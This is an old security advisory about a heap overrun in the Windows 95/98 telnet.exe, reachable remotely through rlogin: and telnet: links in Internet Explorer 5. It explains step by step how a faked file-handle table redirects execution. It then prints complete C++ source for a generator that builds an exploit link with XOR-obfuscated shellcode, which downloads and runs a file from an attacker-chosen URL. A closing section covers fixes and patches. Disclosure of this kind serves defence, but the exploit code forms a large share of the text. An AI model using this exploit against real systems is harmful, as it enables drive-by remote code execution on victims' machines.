COMMAND
telnet.exe
SYSTEMS AFFECTED
Win95, Win98
PROBLEM
Jeremy Kothe found following regarding Telnet.exe (77824 bytes,
11th May 98). This version of Telnet (which ships as part of
Windows 98) has a bug which allows a heap overrun. It assumes
that the first command-line argument will be <255 chars when
preparing for the "Connect Failed" message-box. The result is
that a few crucial bytes can be written over, which, as the telnet
app is closing, allow full execution of arbitrary code. See
below for full details... Oh yes, it has been that Windows'95
telnet.exe (74,720Kb) is too exploitable.
This is still all local, though, so let's skip to the REMOTE part
where we are going to include IE 5.00.2314.1003/5.00.2314.1003IC.
Internet Explorer automatically invokes telnet when given an
"rlogin:", "telnet:" or "tn3270:" protocol URL. Earlier versions
of IE which experimented with had comparitively tight restrictions
on the format of the url, only allowing two parameters through
(two zeros to you and Jeremy). As it turns out, this is not
enough to exploit the bug. But with the versions named above,
which as of writing include the latest version Microsoft would
let you download, the restrictions seem to have been lifted. One
can only assume that this is either unintentional, or that tn3270
or telnet applications have been found which makes this desirable.
Whatever! The end result is that it seems the most recent
versions of IE 5 will faithfully pass any collection of parameters
up to about 460 chars into telnet.exe.
What are the systems at risk? Windows 98 default installation
with SOME versions of IE5. If you click on a link, or are
refreshed to a link, then see telnet.exe pop-up, complaining that
it can't connect to a garbage-type address, DO NOT close the
telnet executable. Instead, either forcefully terminate the
process, or reboot. The exploit does NOT take effect until
telnet.exe is closing.
Heap overruns are not for the faint of heart. If you have trouble
following stack overrun exploits, turn back now - or go and learn,
then come back. With a stack overflow, getting the machine to
execute into our buffer is relatively easy. We have, after all,
overwritten the function return address. Point this (indirectly
or not) at the esp and you're in business. Without this benefit,
we have a much tougher time exploiting the overrun. In fact it is
entirely possible that no exploit is possible. It all depends on
what follows our buffer in memory.
The best candidates for overwriting are pointers. If we can
overwrite one which the program subsequently uses, we have a
chance to make something happen. The trick is to ignore what the
program is trying to do, and to look at what it's doing. One core
idea Jeremy has found to be of value is this: One way to get
execution onto the stack is to find a way to manipulate our
uncorrupted stack. Often you will find a pointer to the stack
(or command-line) somewhere not far from the top (of the stack).
If it can be moved only a few bytes, or we can conspire to pop
more than we push, we can then return to our buffer.
The overrun we are presented with is only a handfull of bytes,
just enough to overwrite one pointer value following the buffer
in memory. This pointer, as it turns out, originally points to
an array of 1024 pointers, which are either NULL, or point in
turn to a 16-byte structure. From context this seems to be a
file-handle table of sorts. Let's use SoftICE/IDA/PSEDIT. When
examined the routine (fflush) where we end up referencing the
pointer, it turns out that the code iterates thru the 1024
pointers, and for each non-NULL entry, it examines and
conditionally changes the 16 byte structure pointed to. It is
the change we are interested in. If the structure is represented
as:
DWORD dw1, dw2, dw3
then the effect of the change is:
dw1 = dw3
dw2 = 0
Whilst examining various locations in memory where out exploit
string ends up (there are a couple, as the command-line get
passed, then parsed), Jeremy found one where the following 4k was
allocated and 99% zeros. He also found at the top of the stack,
about 12 bytes back, a pointer to our exploit string (WinMain
lpCmdLine anyone), which was ripe to be copied down 8-bytes to
overwrite a return address. Now ideally, if the memory found was
all blank, all we'd need to do would be to arrange for the
trailing bytes of my exploit string to point to the appropriate
place on the stack. This last DWORD, followed by 1024 DWORD
zeros, would serve as a faux handle table which would overwrite a
return address with a pointer to our exploit.
In the actual case Jeremy found there were indeed 1024 zeros, but
there was also one non-zero DWORD directly after his exploit and
before the zeros. He needed to remove these values for the table
to not crash... so he used the same technique over again to remove
it - adding another entry at the top of our table pointing to
the offending location neatly removes it, then the second entry
does the actual work, and the rest of the table is empty.
Jeremy has worked out an exploit which downloads and runs an
arbitrary file, and have included the source for a Visual C++
program to create a binary file containing the exploit as a link.
Add (for example) an html header and footer, and you have it.
Notes: The exploit uses URLDownloadToCacheFile and WinExec.
Disassembling the binary file will show you the code (strings
have been xor'ed with 0xFADE). Any comments on the exploit code
would be appreciated.
#include <stdio.h>
#include <afx.h>
#include <windows.h>
void Usage( void ) {
printf( "Usage: exfact url(40) outfile\n" );
}
#define URL_OFFSET 48
unsigned char aSploit[] = {
0x72, 0x6C, 0x6F, 0x67, 0x69, 0x6E, 0x3A, 0x33,
0xDB, 0x3B, 0xDB, 0x74, 0x53, 0xAB, 0x88, 0xB2,
0x97, 0xB1, 0x94, 0xF0, 0x9E, 0xB2, 0x96, 0xDE,
0xAF, 0x8C, 0xB6, 0x9A, 0x95, 0xA9, 0x94, 0xB2,
0x95, 0xBF, 0x9E, 0x8A, 0x95, 0x9D, 0x9B, 0xBD,
0x92, 0xBB, 0xBC, 0xB7, 0x96, 0xBB, 0xBB, 0xDE,
0x9C, 0xAA, 0x8A, 0xE4, 0xC8, 0xEE, 0xC9, 0xF0,
0xC9, 0xEE, 0xD4, 0xEC, 0xCB, 0xEC, 0xD4, 0xEF,
0xCA, 0x82, 0x9B, 0xF0, 0x9F, 0xA6, 0x9F, 0xDE,
0x92, 0xec, 0xc0, 0x9b, 0xb2, 0x66, 0x33, 0x53,
0xb9, 0x61, 0x35, 0xee, 0xd2, 0xae, 0xd4, 0xDE,
0xAD, 0xB7, 0x94, 0x9B, 0x82, 0xBB, 0x99, 0xDE,
0xB3, 0x01, 0xC1, 0xC3, 0x18, 0x8B, 0xD3, 0x8B,
0xF3, 0x66, 0xBA, 0xC0, 0x10, 0x8B, 0x12, 0x66,
0xBB, 0xB8, 0x10, 0x8B, 0x1B, 0x66, 0xBE, 0xC0,
0xC2, 0x8B, 0x36, 0x8B, 0x7C, 0x24, 0x04, 0x33,
0xC9, 0xB1, 0x2F, 0x66, 0x8B, 0x07, 0x66, 0x35,
0xDE, 0xFA, 0x66, 0x89, 0x07, 0x83, 0xC7, 0x02,
0xE0, 0xF1, 0x8B, 0x4C, 0x24, 0x04, 0x83, 0xC1,
0x06, 0x51, 0xFF, 0xD2, 0x8B, 0x4C, 0x24, 0x04,
0x83, 0xC1, 0x11, 0x51, 0x50, 0xFF, 0xD3, 0x8B,
0xD3, 0x8B, 0xD8, 0x8B, 0x4C, 0x24, 0x04, 0x83,
0xC1, 0x51, 0x51, 0x56, 0xFF, 0xD2, 0x8B, 0xF8,
0x8B, 0xEC, 0x81, 0xC4, 0xFF, 0xFB, 0xFF, 0xFF,
0x8B, 0x4D, 0x04, 0x83, 0xC1, 0x29, 0x33, 0xC0,
0x50, 0x50, 0x66, 0xB8, 0xFF, 0x03, 0x50, 0x8B,
0xC5, 0x05, 0xFF, 0xFB, 0xFF, 0xFF, 0x50, 0x51,
0x33, 0xC0, 0x50, 0xFF, 0xD3, 0x8B, 0xDC, 0x33,
0xC0, 0x50, 0x53, 0xFF, 0xD7, 0x33, 0xC0, 0x74,
0xFE, 0x62, 0x61, 0x61, 0x61, 0x61, 0x61, 0x61,
0x28, 0x01, 0xB9, 0x20, 0x61, 0x88, 0xFD, 0x56,
0x20, 0x0C, 0x02, 0xB9, 0x20, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0xFC, 0x56,
};
int main( int argc, char *argv[] ) {
if( argc == 3 ) {
DWORD dwURLlen = strlen( argv[ 1 ] )+1;
if( dwURLlen < 40 ) {
HANDLE h = CreateFile(
argv[ 2 ],
GENERIC_WRITE,
0,
NULL,
CREATE_ALWAYS,
0,
0 );
if ( h == INVALID_HANDLE_VALUE ) {
printf( "Error creating %s\n", argv[ 2 ] );
return( 0 );
}
DWORD dwWrit = 0;
if( !WriteFile( h, aSploit, URL_OFFSET, &dwWrit, NULL ) ||
( dwWrit != URL_OFFSET ) )
goto writeerr;
for( char *p = argv[ 1 ]; ( *p ) && ( *(p+1) ); p+=2 )
*PWORD( p ) ^= 0xdefa; // 0xfade "little-endian"ed - should use
htons?
*PWORD( p ) ^= 0xdefa;
if( !WriteFile( h, argv[ 1 ], dwURLlen, &dwWrit, NULL ) ||
( dwWrit != dwURLlen ) )
goto writeerr;
DWORD dwToWrite = sizeof( aSploit ) - ( URL_OFFSET + dwURLlen );
if( !WriteFile( h, &aSploit[ URL_OFFSET+dwURLlen ], dwToWrite,
&dwWrit, NULL ) || ( dwWrit != dwToWrite ) )
goto writeerr;
CloseHandle( h );
return( 0 );
}
}
Usage();
return( 1 );
writeerr:
printf( "Error writing to %s\n", argv[ 2 ] );
return( 2 );
}
SOLUTION
Either remove telnet.exe from the path, so IE cannot launch it,
or get a copy of the WinNT telnet.exe or patch it. Microsoft had
an opportunity to investigate this issue, and want to advise that
a fix already is available. The vulnerability is fixed in IE
5.0b, which ships as part of Windows 98 Second Edition. It also
is eliminated by the patch for the "Malformed Favorites Icon"
vulnerability which was released in May. The reason that the
security bulletin did not discuss this fix is because Microsoft
discovered the unchecked buffer during a routine code review, and
corrected it as a code quality issue. The vulnerability is
present in IE 4.0 as well, and MS is developing a patch that will
be release shortly.